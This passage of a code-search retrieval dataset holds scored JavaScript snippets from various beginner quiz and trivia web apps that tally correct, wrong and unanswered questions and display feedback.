'</h3>');\n correct++;\n displayTimer();\n }\n else if (userAns[0] === undefined) {\n $(\"#content\").append('<h3>'+\"Time's up!\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n missed++;\n displayTimer();\n }\n else {\n $(\"#content\").append('<h3>'+\"You chose the wrong answer.\" + '</h3><br><br><h3>' + \"The correct answer was: \" + questions[questionCounter].choices[correctAnswer] + '</h3>');\n incorrect++;\n displayTimer();\n };\n }", "title": "" }, { "docid": "b1f119d9d90bd08b9532084e601a8eda", "score": "0.62618417", "text": "function displayScore() {\n var score = $('<p>',{id: 'question'});\n \n \n for (var i = 0; i < selections.length; i++) {\n /* if (selections[i] === questions[i].type ) {\n numCorrect++; --> */\n switch(questions[i].type)\n {\n case 1 : Sresult=Sresult + selections[i];\n break;\n case 2 : Aresult=Aresult + selections[i];\n break;\n case 3 : Dresult=Dresult + selections[i];\n break; \n }\n } \n score.append('Stress: ' + 2*Sresult + '<br>Anxiety: ' + 2*Aresult + '<br>Depression: ' + 2*Dresult\n );\n return score;\n }", "title": "" }, { "docid": "4740081e88e1851af3faa65fea213d20", "score": "0.62584674", "text": "function checkForQuestions() {\n $(\"#answers\").empty(); // Clear the answer list\n currentQuestion++; // Look for the next question\n\n // If there are no questions left to ask, display the results\n if (currentQuestion >= questions.length) {\n displayScore();\n }\n // Otherwise, ask the next question\n else {\n askQuestion();\n }\n }", "title": "" }, { "docid": "6d98e7b81938d4ba13caca46a60861bf", "score": "0.6250567", "text": "function handleAnswers(e) {\n if(e.target['q'+currentQuestion].value === trivia[currentQuestion].correctAnswer) {\n numCorrect++;\n }\n else {\n numIncorrect++;\n }\n console.log(\"Correct: \" + numCorrect);\n console.log(\"Incorrect: \" + numIncorrect);\n\n $(\"#correct\").html(numCorrect);\n $(\"#incorrect\").html(numIncorrect);\n}", "title": "" }, { "docid": "48cdb19f1bf45deb3a688e878243df64", "score": "0.6249015", "text": "function checkAnswer(index) {\n\n var lineBreak = document.createElement(\"hr\");\n var text = document.createElement(\"p\");\n\n if ((qCounter === 1 && index == 2) || (qCounter === 2 && index == 1) || (qCounter === 3 && index == 3) || (qCounter === 4 && index == 2) || (qCounter === 5 && index == 3)) {\n\n text.textContent = \"Correct!\";\n showIfCorrect.appendChild(lineBreak);\n showIfCorrect.appendChild(text);\n }\n\n // subtract from score if answer is wrong\n else {\n\n text.textContent = \"Incorrect\";\n showIfCorrect.appendChild(lineBreak);\n showIfCorrect.appendChild(text);\n count += -10;\n }\n}", "title": "" }, { "docid": "8de76e2ccd24659801a48aab9baa5abb", "score": "0.6246871", "text": "function check() {\n\n var question1= document.quiz.q1.value;\n var question2= document.quiz.q2.value;\n var question3= document.quiz.q3.value;\n var correct= 0;\n var wrong=0;\n\n if (question1 == \"a\") {\n correct++ \n } else {\n wrong--;\n }\n\n if (question2 == \"b\") {\n correct++\n } else {\n wrong--;\n }\n\n if (question3 == \"d\") {\n correct++\n } else {\n wrong--;\n}\n\nvar message = [\"Good Job!\", \"Doggonit\"];\n\nvar range;\n\n if (correct < 1) {\n\n range = 1;\n }\n\n if (correct > 0) {\n\n range = 0;\n }\n\n\n\ndocument.getElementById(\"after_finish\").style.visibility = \"visible\";\n\ndocument.getElementById(\"message\").innerHTML = message[range];\n\ndocument.getElementById(\"correct\").innerHTML = \"You got \" + correct + \" correct.\";\ndocument.getElementById(\"wrong\").innerHTML = \"You got \" + wrong + \" wrong.\";\n\n\n}", "title": "" }, { "docid": "4b8acf164261abcdeb824c4861d77cc1", "score": "0.6246744", "text": "function wrongAnswerFeedback () {\n let correctAnswer = `${STORE[qNum].correctAnswer}`;\n $('.js-quiz-form').html(`<div class=\"correct-feedback\"><p><b>You got it wrong</b><br>the correct answer is <span>\"${correctAnswer}\"</span></p><button type=button class=\"next-button\">Next</button></div>`);\n}", "title": "" }, { "docid": "a8c13ffe014532cc1851f277cdd2c8f9", "score": "0.62448674", "text": "getNumberOfCorrectAnswers() {\n const answerArray = this.getCheckedAnswers();\n let numberOfCorrectAnswers = 0;\n\n answerArray.forEach(element => {\n if (element.correct) {\n numberOfCorrectAnswers++;\n }\n })\n\n return numberOfCorrectAnswers;\n }", "title": "" }, { "docid": "eeb98cde4df724e365c3755cf3854eba", "score": "0.62423676", "text": "function checkAnswer(guess) {\n if(current.correctAnswer === guess){\n score++;\n }\n//goes to next question by incrementing the number of the var currentQuestion\n currentQuestion++;\n if(currentQuestion >= question.length){\n showSummary();\n } else{\n showQuestion();\n };\n}", "title": "" }, { "docid": "90c6e1c93883e1696a082ac5cda7f8ab", "score": "0.62384826", "text": "function check () {\n\n\t// count # of correct, wrong and unanswered questions. Define variables first.\n\tvar numCorrect = 0;\n\tvar numWrong = 0;\n\tvar numUnanswered = 0;\n\t\n\t// define value of answers to Q1-8 (i.e. \"correct\", \"wrong\", or unanswered/radio button unchecked)\n\tvar question1 = document.quiz.question1.value;\n\tvar question2 = document.quiz.question2.value;\n\tvar question3 = document.quiz.question3.value;\n\tvar question4 = document.quiz.question4.value;\n\tvar question5 = document.quiz.question5.value;\n\tvar question6 = document.quiz.question6.value;\n\tvar question7 = document.quiz.question7.value;\n\tvar question8 = document.quiz.question8.value;\n\t\n\tconsole.log(question1);\n\tconsole.log(question2);\n\tconsole.log(question3);\n\tconsole.log(question4);\n\tconsole.log(question5);\n\tconsole.log(question6);\n\tconsole.log(question7);\n\tconsole.log(question8);\n\t\n\t// check if Q1 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question1 == \"correct\") {\n\t\tnumCorrect++;\n\t}\t\telse if (question1 == \"wrong\") {\n\t\t\t\tnumWrong++;\n\t\t\t} else if (question1 == \"\") {\n\t\t\t\tnumUnanswered++;\n\t\t\t\t}\n\t// check if Q2 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question2 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question2 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question2 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\n\t// check if Q3 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question3 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question3 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question3 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\n\n\t// check if Q4 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question4 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question4 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question4 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\t\n\n\t// check if Q5 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question5 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question5 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question5 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\t\t\n\n\t// check if Q6 is correct, wrong or unanswered, and add result to final score accordingly.\t\n\tif (question6 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question6 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question6 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\n\n\t// check if Q7 is correct, wrong or unanswered, and add result to final score accordingly.\t\n\tif (question7 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question7 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question7 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\n\n\t// check if Q8 is correct, wrong or unanswered, and add result to final score accordingly.\n\tif (question8 == \"correct\") {\n\t\t\tnumCorrect++;\n\t\t}\t\telse if (question8 == \"wrong\") {\n\t\t\t\t\tnumWrong++;\n\t\t\t\t} else if (question8 == \"\") {\n\t\t\t\t\tnumUnanswered++;\n\t\t\t\t\t}\t\n\n\tconsole.log(numCorrect);\n\tconsole.log(numWrong);\n\tconsole.log(numUnanswered);\n\n\t// open resultsPage\n\t\n\twindow.open(\"./resultsPage.html\",\"_self\");\n\n\tdocument.results.getElementById('correctNumber').innerHTML = \"Correct: \";\n\t\tdocument.getElementById('wrongNumber').innerHTML = \"Wrong: \";\n\t\tdocument.getElementById('unanswered').innerHTML = \"Unanswered: \";\n\n\n}", "title": "" }, { "docid": "bbdfc49cd6c75c6129c0894c17492ac7", "score": "0.6235772", "text": "function currentQuestionAndTotal()\n{\n let display = document.querySelector(\"#question_progress\");\n let currentQuestionNumber = quiz.questionIndex+1;\n display.innerHTML = \"Question \"+ currentQuestionNumber + \" of \"+ quiz.questions.length;\n}", "title": "" }, { "docid": "c56483849d82fa8d0abd3989016fe24a", "score": "0.6235598", "text": "function displayScore() {\r\n var scores = $('<p>',{id: 'question'});\r\n \r\n var numCorrect = 0;\r\n for (var i = 0; i < selections.length; i++) {\r\n if (selections[i] === questions[i].correctAnswer) {\r\n numCorrect++;\r\n }\r\n }\r\n \r\n var result = numCorrect*100/questions.length;\r\n\tresult = Math.round(result);\r\n\tvar score = result\r\n\tparent.reportScores(score);\r\n\tscores.append('You scored ' + result + ' % ');\r\n\treturn scores;\r\n }", "title": "" }, { "docid": "1395b7f29e0d5005264b4627799342ad", "score": "0.62342465", "text": "function correctAnswer() {\n correctAnswers++;\n $(\".timeRemaining\").text(\"You are spot on!!!\");\n reset();\n }", "title": "" }, { "docid": "882952dd8c7bd2fbc8a3fc3c1fd13263", "score": "0.62265927", "text": "function showResults() {\n if (currentQuestion === 5 || i === 30 ) {\n $('#correct-score').html(correctAnswers);\n $('#incorrect-score').html(incorrectAnswers);\n $('#question').empty();\n $('#form').empty();\n $('#clock').empty();\n startOver.show();\n results.show();\n }\n else {\n displayQuestion();\n }\n }", "title": "" }, { "docid": "44740a25ae7e2e4dc7b5968c76920b64", "score": "0.621688", "text": "function correctAnswer() {\n clearInterval(timerSet);\n k.html(\" \");\n j.html(\" \")\n correct++;\n h.html(\"# Answered Correctly: \" + correct);\n questions.splice(f, 1);\n if (questions.length === 0) {\n stop();\n } else {\n z.html(\" \");\n randomizer();\n }\n\n }", "title": "" }, { "docid": "316cedbfc284346a3d8f0f1e8fddc50e", "score": "0.621469", "text": "function checkAnswers (){\n \n // variables needed to hold results\n var resultsHTML = '';\n var guessedAnswers = [];\n var correct = 0;\n var incorrect = 0;\n var unAnswered =0\n \n // for loop iterates through each question and passes the questions at each index first into\n // the isCorrect function to see if they match the indices of correct answers, and if they do,\n // increments up the correct score\n for (var i = 0; i<game.questions.length; i++) {\n if (isCorrect(game.questions[i])) {\n correct++;\n } else {\n // then this statement runs the questions at each index through the checkAnswered function\n // to determine whether the user clicked an answer, or did not click an answer, so that\n // incorrect and unAnswered scores can be delineated from each other\n if (checkAnswered(game.questions[i])) {\n incorrect++;\n } else {\n unAnswered++;\n }\n }\n \n }\n // display the results of the function in the results div and use strings of text to relate the\n // results of the for loop with their corresponding values\n $('.results').html('correct: '+correct+ \"<br>\" +'incorrect: '+incorrect+ \"<br>\" +'unanswered: '+unAnswered);\n }", "title": "" }, { "docid": "f5f49d56315004d6ccee20c44af802c2", "score": "0.6214688", "text": "function correctAnswer() {\n correctAnswers++;\n $('.timeRemaining').text(\"Very good, you may take a sip!\")\n resetRound();\n }", "title": "" }, { "docid": "e9d9bf6bf6caafed067e0ed5d2f738eb", "score": "0.62118906", "text": "function tallyScore() {\n for(j = 0; j < btName.length; j++) {\n //looks up the value of the chosen answer\n var bVal = $('input[name=' + btName[j] + ']:checked').val();\n console.log(bVal);\n //Puts the value of the chosen answer into an array\n answers.push(bVal);\n //Add a point to the correct answer score\n if(bVal == 1){\n correct++;\n }\n //Add a point to the wrong answer score\n else if(bVal == 0){\n wrong++;\n }\n //Add a point to the not answered score\n else {\n noAnswer++;\n }\n };\n //prints the answers array to console\n console.log(answers);\n console.log(\"Number of correct answers: \" + correct);\n console.log(\"Number of wrong answers: \" + wrong);\n console.log(\"Number of questions not answered: \" + noAnswer);\n \n //Show the number of right and wrong answers\n $(\"#quiz\").html(\"<h3>Correct Answers: \" + correct + \"</h3><h3>Incorrect Answers: \" + wrong + \"</h3><h3>Unasnwerd Questions: \" + noAnswer + \"</h3>\");\n\n }", "title": "" }, { "docid": "45df88283c812bce829936cab48c9003", "score": "0.6206886", "text": "function calcScore() {\r\n\r\n // store the incorrect questions as objects in an array\r\n var incorrectQuestions = [];\r\n\r\n // set the user's score\r\n var score = 0;\r\n\r\n // a is the current question\r\n for (var a = 0; a < questions.length; a++) {\r\n\r\n // store correct answer for certain question \r\n var correct = questions[a].correctAnswer;\r\n\r\n // get the radio buttons of current question to loop through and see if they're checked\r\n var questionAnswers = document.querySelectorAll('[name=q' + questions[a].number + ']');\r\n\r\n // loop through all the answers to see if they are checked, if a checked answer is the correct answer, add 1 to the score\r\n for (var j = 0; j < questions[a].answers.length; j++) {\r\n // if an answer is checked, then see if it is the correct answer\r\n if (questionAnswers[j].checked == true) {\r\n\r\n // if correct answer, add to score\r\n if (j == correct) {\r\n score++;\r\n }\r\n\r\n // if question is incorrect, add to incorrect array\r\n // incorrectIndex is the index of the user's chosen incorrect answer\r\n else {\r\n var incorrect = {\r\n question: questions[a],\r\n incorrectIndex: j\r\n };\r\n\r\n incorrectQuestions.push(incorrect);\r\n }\r\n }\r\n }\r\n }\r\n\r\n var output = \"\";\r\n\r\n // generate the score message\r\n output += generateScoreMessage(score, questions.length);\r\n\r\n // generate the incorrect questions in the format they appear in the quiz\r\n output += generateIncorrectQuestions(incorrectQuestions);\r\n\r\n\r\n document.getElementById(\"score-container\").innerHTML = output;\r\n\r\n /* hide the questions div and show the score div */\r\n document.getElementById(\"two\").style.display = 'block';\r\n document.getElementById(\"one\").style.display = 'none';\r\n}", "title": "" }, { "docid": "92646e124280a14748107ec3c21b3634", "score": "0.62055534", "text": "function evaluate_answer(user_choice, correct_answer){\n\n // Firstly, stop the countdown timer by clearing the interval\n clearInterval(countdown_timer);\n\n var more_info = trivia_quiz.items[current_index].moreInfo;\n\n var result_paragraph = $(\"<p>\");\n var more_info_paragraph = $(\"<p>\");\n\n // Compare user choice with correct answer\n if(user_choice === correct_answer){\n result_paragraph.text(\"CORRECT! The answer is \"+user_choice);\n num_correct_answers += 1;\n }else {\n result_paragraph.text(\"Sorry, the correct answer is \"+correct_answer);\n }\n\n more_info_paragraph.text(more_info);\n\n current_index += 1;\n\n $(\"#message-zone\").prepend(result_paragraph);\n $(\"#message-zone\").append(more_info_paragraph);\n\n if(current_index === total_items){\n //console.log(\"End of quiz!!\");\n var summary_str = \"You got \"+num_correct_answers+\" out of \"+\n total_items+\" questions right\";\n \n summary_str += \"<br> <b>THANKS FOR PLAYING!</b>\";\n \n $(\"#submit-answer\").prop(\"disabled\",true);\n $(\"#message-zone\").append(\"<p>\"+summary_str+\"</p>\");\n } else{\n // We have more questions.\n // Disable 'submit answer' button, and show the 'next question' button.\n $(\"#submit-answer\").prop(\"disabled\",true);\n $(\"#next-question\").show();\n }\n}", "title": "" }, { "docid": "37cba13b48f675b7f32d787be7fcfb77", "score": "0.61967206", "text": "function testResults() {\n\t// store variables to update correct and incorrect totals\n\tvar correct = 0;\n\tvar incorrect = 0;\n\n\t// loop through questions array\n\tfor(var i = 0; i < questions.length; i++) {\n\t\t// store each correct answer\n\t\tvar answer = questions[i].answer;\n\t\t// store each user answer\n\t\tvar guess = document.getElementById('answer' + [i]).value;\n\t\t// store element to add a class if correct or incorrect\n\t\tvar questionSpot = document.getElementById('question' + [i]);\n\n\t\t// check if the user answer matches the correct answer\n\t\tif(answer == guess) {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'correct';\n\t\t\t// add one to correct\n\t\t\tcorrect++;\n\t\t} else {\n\t\t\t// update class on questionSpot\n\t\t\tquestionSpot.className = 'incorrect';\n\t\t\t// add one to incorrect\n\t\t\tincorrect++;\n\t\t};\n\t};\n\n\t// update correct and incorrect values\n\tdocument.getElementById('correct').textContent = correct;\n\tdocument.getElementById('incorrect').textContent = incorrect;\n\n}", "title": "" }, { "docid": "9bbf830382bfb3542efbe0464dab98bb", "score": "0.61961144", "text": "function displayScore() {\r\n var score = $('<h3>',{id: 'question'});\r\n \r\n var numCorrect = 0;\r\n for (var i = 0; i < selections.length; i++) {\r\n if (selections[i] === questions[i].correctAnswer) {\r\n numCorrect++;\r\n }\r\n }\r\n\t// Calculate score and display relevant message\r\n\tvar percentage = numCorrect / questions.length;\r\n\tif (percentage >= 0.9){\r\n \tscore.append('Incredible! You got ' + numCorrect + ' out of ' +\r\n questions.length + ' questions right!');\r\n\t}\r\n\t\r\n\telse if (percentage >= 0.7){\r\n \tscore.append('Good job! You got ' + numCorrect + ' out of ' +\r\n questions.length + ' questions right!');\r\n\t}\r\n\t\r\n\telse if (percentage >= 0.5){\r\n \tscore.append('You got ' + numCorrect + ' out of ' +\r\n questions.length + ' questions right.');\r\n\t}\r\n\t\r\n\telse {\r\n \tscore.append('You only got ' + numCorrect + ' out of ' +\r\n questions.length + ' right. Want to try again?');\r\n\t}\r\n return score;\r\n }", "title": "" }, { "docid": "95780b07303abba9d2fbc58dfb439f04", "score": "0.61947656", "text": "function showAnswer() {\n showTheAnswer.append(\"The correct answer is \" + correctAnswer);\n }", "title": "" }, { "docid": "e6d7ff8432ed2374050d7d5a0531bd89", "score": "0.6194379", "text": "function userAnswerFeedbackWrong () {\n let correctAnswer = `${STORE[questionNumber].correctAnswer}`;\n $('.questionAnswerForm').html(`<div class=\"correctFeedback\"><div class=\"icon\"><img src=\"img/icon-sorting-hat.svg\" alt=\"sorting hat icon\"/></div><p><b>Wrong answer</b><br>the correct answer is <span>\"${correctAnswer}\"</span></p><button type=button class=\"nextButton\">Next</button></div>`);\n}", "title": "" }, { "docid": "3e80bfb0043d7dc74960e1737047640b", "score": "0.61888385", "text": "function renderQuestion() {\n //if the question numner is less than the number of questions\n if (questionNumber < STORE.length) {\n // create form with that question number\n return createForm(questionNumber);\n } else {\n // otherwise hide the quize and get final score\n $('.js-quiz').hide();\n $('.questionNumber').text(questionNumber);\n renderFinalScore();\n }\n}", "title": "" }, { "docid": "902a02fcd1b078d5ac01930fdfb0e427", "score": "0.61877537", "text": "function displayScore() {\n clearTimeout(t);\n $('#time').hide();\n stopFunctionII();\n stopFunction();\n var score = $('<p>', {id: 'question'});\n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n // add code here to add a sound for a perfect score!\n score.append('You got ' + numCorrect + ' out of ' + questions.length + ' questions correct!!!');\n return score;\n \n }", "title": "" }, { "docid": "a1cf8b77e4296f57581fce175233b12a", "score": "0.61860824", "text": "function displayScore() {\n var score = $('<p>', {\n id: 'question'\n });\n\n var numCorrect = 0;\n for (var i = 0; i < selections.length; i++) {\n if (selections[i] === questions[i].correctAnswer) {\n numCorrect++;\n }\n }\n var percentage = numCorrect / questions.length * 100;\n if (percentage <= 40) {\n score.append('Your Score is : ' + percentage + ' % This is below the passmark');\n return score;\n } else {\n score.append('Score : ' + percentage + ' % Congraturations, You can now proceed to the next exam');\n return score;\n }\n }", "title": "" }, { "docid": "3ed7d08fa462f3c2c1b1205b50c173b7", "score": "0.61845714", "text": "function timeUp() {\n\n //the value of the radio buttons and the beginning of the if statements\n var Q1 = $('input:radio[name=\"q1\"]:checked').val();\n var Q2 = $('input:radio[name=\"q2\"]:checked').val();\n var Q3 = $('input:radio[name=\"q3\"]:checked').val();\n var Q4 = $('input:radio[name=\"q4\"]:checked').val();\n var Q5 = $('input:radio[name=\"q5\"]:checked').val();\n\n\n //right and wrong answers with the if,else and else if statements\n if (Q1 == undefined) {\n unanswered++;\n } else if (Q1 == 'Honda') {\n correct++;\n } else {\n wrong++;\n }\n\n if (Q2 == undefined) {\n unanswered++;\n } else if (Q2 == 'Corvette') {\n correct++;\n } else {\n wrong++;\n }\n\n if (Q3 == undefined) {\n unanswered++;\n } else if (Q3 == 'i3') {\n correct++;\n } else {\n wrong++;\n }\n\n if (Q4 == undefined) {\n unanswered++;\n } else if (Q4 == 'S63amg') {\n correct++;\n } else {\n wrong++;\n }\n\n if (Q5 == undefined) {\n unanswered++;\n } else if (Q5 == 'Corvette') {\n correct++;\n } else {\n wrong++;\n }\n\n\n\n //The score will be listed below for the DOM\n $('#correctAnswers').html(correct);\n $('#wrongAnswers').html(wrong);\n $('#unanswered').html(unanswered);\n\n //the complete score will be shown here\n $('#endGame').show();\n }", "title": "" }, { "docid": "0858c4f7b2f222cd1775b316467ddeed", "score": "0.61772096", "text": "function finalScore() {\n $(\"#QUESTIONS\").hide();\n unanswered=25-(correct+incorrect);\n var correctDiv=$(\"<div>\");\n var incorrectDiv=$(\"<div>\");\n var unansweredDiv=$(\"<div>\");\n $(correctDiv).text(\"Correct Answers: \" + correct);\n $(incorrectDiv).text(\"Incorrect Answers: \" + incorrect);\n $(unansweredDiv).text(\"Unanswered: \" + unanswered);\n $(\".jumbotron\").append(correctDiv, incorrectDiv, unansweredDiv);\n}", "title": "" }, { "docid": "7c4138f954bf6e081d7de13faa482b57", "score": "0.61743474", "text": "evaluateQuestion (question) {\n const userAnswer = input.value.trim();\n statusSection.innerHTML = \"\";\n\n if (question.answerIsCorrect(userAnswer)) {\n statusSection.textContent = \"Correct! 👍\";\n input.classList.add(\"good\");\n this.score.correct += 1;\n } else {\n input.classList.add(\"warn\");\n const statusSectionHTML = `<div>That wasn't quite right! 🙁</div><div>Target: ${question.targetCase} ${question.targetNumber}</div><div>Correct: ${question.answerText}</div><div>Your answer: ${userAnswer}</div>`\n const diffFragment = getDiff(userAnswer, question.answerText);\n statusSection.innerHTML = statusSectionHTML;\n statusSection.appendChild(diffFragment);\n this.score.wrong += 1;\n }\n this.score.total += 1;\n\n }", "title": "" }, { "docid": "14e0c9693d1b66ae0d8d8e0facbf2de3", "score": "0.617148", "text": "function showFeedback() {\n\n // iterate over all answer data sets of current question\n question.answers.forEach( answer => {\n\n // no information about correct answers? => abort\n if ( event_data.solution === undefined ) return;\n\n // current question is a single choice question? => skip\n if ( question.input === 'radio' ) return;\n\n /**\n * correct value for this answer\n * @type {boolean|number|string}\n */\n const solution = event_data.solution[ answer.nr - 1 ];\n\n /**\n * user input value for this answer\n * @type {boolean|number|string}\n */\n const input = event_data.input[ answer.nr - 1 ];\n\n // user gives correct value for this answer? => mark answer as right\n input !== '' && input !== false && input === solution && answer.elem.classList.add( 'right' );\n\n // user gives wrong value for this answer? => mark answer as wrong\n input !== '' && input !== false && input !== solution && answer.elem.classList.add( 'wrong' );\n\n // user gives no value for a (correct) multiple choice answer? => mark missed correct answer as correct\n input === false && solution !== false && answer.elem.classList.add( 'correct' );\n\n // number or text input field and user gives not correct value? => show user correct value (via placeholder attribute)\n if ( question.input !== 'checkbox' && solution !== '' && input !== solution )\n answer.comment = self.placeholder.correct + solution + ( answer.comment ? '. ' + answer.comment : '' );\n\n } );\n\n // no information about correct answers? => abort and render answer comments\n if ( event_data.solution === undefined ) return renderComments();\n\n // is a single choice question?\n if ( question.input === 'radio' ) {\n\n /**\n * correct value for current question\n * @type {number}\n */\n const solution = event_data.solution;\n\n /**\n * user input value for current question\n * @type {number}\n */\n const input = event_data.input;\n\n /**\n * prefix of HTML ID of an answer\n * @type {string}\n */\n const id_prefix = '#' + question.id + '-answer-';\n\n // user chooses correct answer? => mark correct answer as right\n if ( event_data.input === solution )\n question.elem.querySelector( id_prefix + ( input + 1 ) ).classList.add( 'right' );\n else {\n // user chooses wrong answer? => mark user answer as wrong\n if ( !isNaN( event_data.input ) ) question.elem.querySelector( id_prefix + ( input + 1 ) ).classList.add( 'wrong' );\n // mark missed correct answer as correct\n question.elem.querySelector( id_prefix + ( solution + 1 ) ).classList.add( 'correct' );\n }\n\n }\n\n // render answer comments\n renderComments();\n\n /** renders comments of question answers (if any) */\n function renderComments() {\n\n // iterate over all answer data sets of current question\n question.answers.forEach( answer => {\n\n // answer has a comment? => render it\n answer.comment && $.setContent( answer.elem.querySelector( '.comment' ), $.html( self.html.comment, {\n click: function () {\n\n // show/hide comment (via tooltip)\n [ ...self.element.querySelectorAll( '.clicked' ) ].forEach( elem => elem !== this && elem.classList.remove( 'clicked' ) );\n this.classList.toggle( 'clicked' );\n\n /**\n * event data of 'comment' event\n * @type {Object}\n */\n const event_data = { question: question.nr, answer: answer.nr };\n\n // logging of 'comment' event\n self.logger && self.logger.log( 'comment', $.clone( event_data ) );\n\n // perform event specific callback\n self.oncomment && self.oncomment.call( self, $.clone( event_data ), this );\n\n },\n comment: answer.escape ? $.escapeHTML( answer.comment ) : answer.comment,\n } ) );\n\n } );\n\n }\n\n }", "title": "" }, { "docid": "0ed8c44596857d1375b963139cf3c218", "score": "0.6168892", "text": "function scoreGame() {\n var correct = 0;\n var incorrect = 0;\n\n for (var i = 0; i < 5; i++) {\n if ($('input:radio[name=\"' + myQuestions[i].qName + '\"]:checked').length) {\n if (parseInt($('input:radio[name=\"' + myQuestions[i].qName + '\"]:checked')[0].value) === myQuestions[i].correctAnswer) {\n correct++;\n } else {\n incorrect++;\n }\n } else {\n incorrect++;\n }\n }\n if (correct > 4) {\n $(\"#results\").prepend(\"Good Job! You know Math! <br><br>\");\n $(\"#results\").append(\"Correct: \" + correct + \"<br>\");\n $(\"#results\").append(\"Incorrect: \" + incorrect);\n } else {\n $(\"#results\").prepend(\"Try again, dummy! <br><br>\");\n $(\"#results\").append(\"Correct: \" + correct + \"<br>\");\n $(\"#results\").append(\"Incorrect: \" + incorrect);\n }\n}", "title": "" }, { "docid": "4eea4ad004e30aa2a7380c8f1b2f6aad", "score": "0.61601627", "text": "function right() {\n var amountCorrect = 0;\n var amountIncorrect = 0;\n var unAnswered = 0;\n for (var i = 1; i <= 10; i++) {\n var radios = document.getElementsByName(\"answers\" + i);\n for (var j = 0; j < radios.length; j++) {\n var radio = radios[j];\n if (radio.value == \"correct\" && radio.checked) {\n amountCorrect++;\n document.getElementById(\"right\").html(amountCorrect);\n }\n else if (radio.value == \"incorrect\" && radio.checked) {\n amountIncorrect++;\n document.getElementById(\"wrong\").html(amountIncorrect)\n\n }\n }\n }\n }", "title": "" }, { "docid": "5cb2921c9cfef35c6d6b93c2e5d8d68b", "score": "0.615715", "text": "function checkAnswer(event) {\n \n userAnswer = event.target.textContent\n console.log(userAnswer);\n event.preventDefault();\n\n correctWrong.style.display = \"block\"; //displayed user notif div and appands a <p> to it\n var p = document.createElement(\"p\");\n correctWrong.appendChild(p);\n\n setTimeout(function () {\n p.style.display = 'none';\n }, 1300);\n\n if (questions[quizQuestions].correctAnswer === userAnswer) {\n secondsLeft += 5; //add 5s & notify user\n p.textContent = \"Correct 👍 +5s\"\n\n }else if (questions[quizQuestions].correctAnswer !== userAnswer) {\n secondsLeft -= 10; //deduct 10s & notify user\n p.style.color = \"red\";\n p.textContent = \"Wrong 👎 -10s\"\n }\n \n if (secondsLeft < 0) {\n secondsLeft === 0;\n }\n \n if (quizQuestions < questions.length) {\n quizQuestions++;\n \n }\n\n \n\n \n setTimeout(displayQuestions, 2000); //adds 2s between questions so user can see right or wrong\n \n\n}", "title": "" }, { "docid": "faf78393a6bc67c1875f298cee885157", "score": "0.6153465", "text": "function wrongAnswer(index) {\n\t$('#display').html('<p class=\"text-center\">Wrong!</p>');\n\t$('#display').append('<p class=\"text-center\">The correct answer was: ' + gameQuestions[gameStatistics.questionNumber].correctAnswer);\n\tgameStatistics.incorrectAnswerCounter++;\n}", "title": "" } ]
0f8dd8bb4f77e968c5c88b8bc18025db
Set currently loaded question to next available question
[ { "docid": "b3c137eb4754135ad0d08b432a98c6c4", "score": "0.0", "text": "async setNext(nextTime) {\n console.log('Setting next question')\n this.current = this.next\n this.current.expires = Countdown.nextTime\n\n this.next = this.random()\n this.current.nextCategory = this.next.category\n\n console.log(this.current)\n\n Db.collection('question')\n .doc('current')\n .set(this.current)\n }", "title": "" } ]
[ { "docid": "f50ad2d2655a484cb5dd31b4905519e0", "score": "0.7912523", "text": "function loadNextQuestion() { \n startQuestions(currentQuestion);\n}", "title": "" }, { "docid": "4592349ce588fbc88adfcf672c4670d4", "score": "0.7764441", "text": "function setNextQuestion() {\r\n resetState();\r\n showQuestion(shuffledQuestions[currentQuestionIndex]);\r\n}", "title": "" }, { "docid": "ec98102199f2452a83ccc95826d8438d", "score": "0.7752458", "text": "function setCurrentQuestion() {\n displayQuestion.html(questionAndAnswers[currentQuestionIndex + 1].question);\n currentQuestionIndex++;\n if (currentQuestionIndex === 9) {\n currentQuestionIndex = -1;\n }\n displayAnswer.html(questionAndAnswers[currentAnswerIndex + 1].answer);\n currentAnswerIndex++;\n if (currentAnswerIndex === 9) {\n currentAnswerIndex = -1;\n }\n}", "title": "" }, { "docid": "28761ae43dc4fb5f88712756c6538039", "score": "0.7736207", "text": "function nextQuestion() {\n resetQuestions()\n showQuestion(listQuestions[currentQuestionIndex])\n}", "title": "" }, { "docid": "8873d5bdbd56b12f897119744fb48bf6", "score": "0.7730451", "text": "function setNextQuestion() {\n resetState();\n showQuestion(shuffledQuestions[currentQuestionIndex]);\n}", "title": "" }, { "docid": "cab132ea18f57d8d040db4c4ad1ff852", "score": "0.77027464", "text": "function setNextQuestion() {\n resetState();\n getQuestion(shuffleQuestions[currentQuestionIndex]);\n}", "title": "" }, { "docid": "c6692e8dd97fbe46fd202688d3d9f7f7", "score": "0.769936", "text": "function 